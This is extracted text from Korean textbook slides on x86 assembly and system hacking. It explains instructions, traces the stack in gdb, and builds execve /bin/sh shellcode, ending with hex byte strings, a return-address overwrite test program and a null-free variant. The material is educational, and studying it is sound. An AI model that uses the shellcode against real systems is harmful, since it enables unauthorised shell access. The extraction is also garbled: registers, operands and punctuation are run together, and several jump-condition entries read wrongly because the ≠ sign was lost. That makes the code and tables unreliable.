
어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 35: 80×86  시스템에 대한 이해

35108

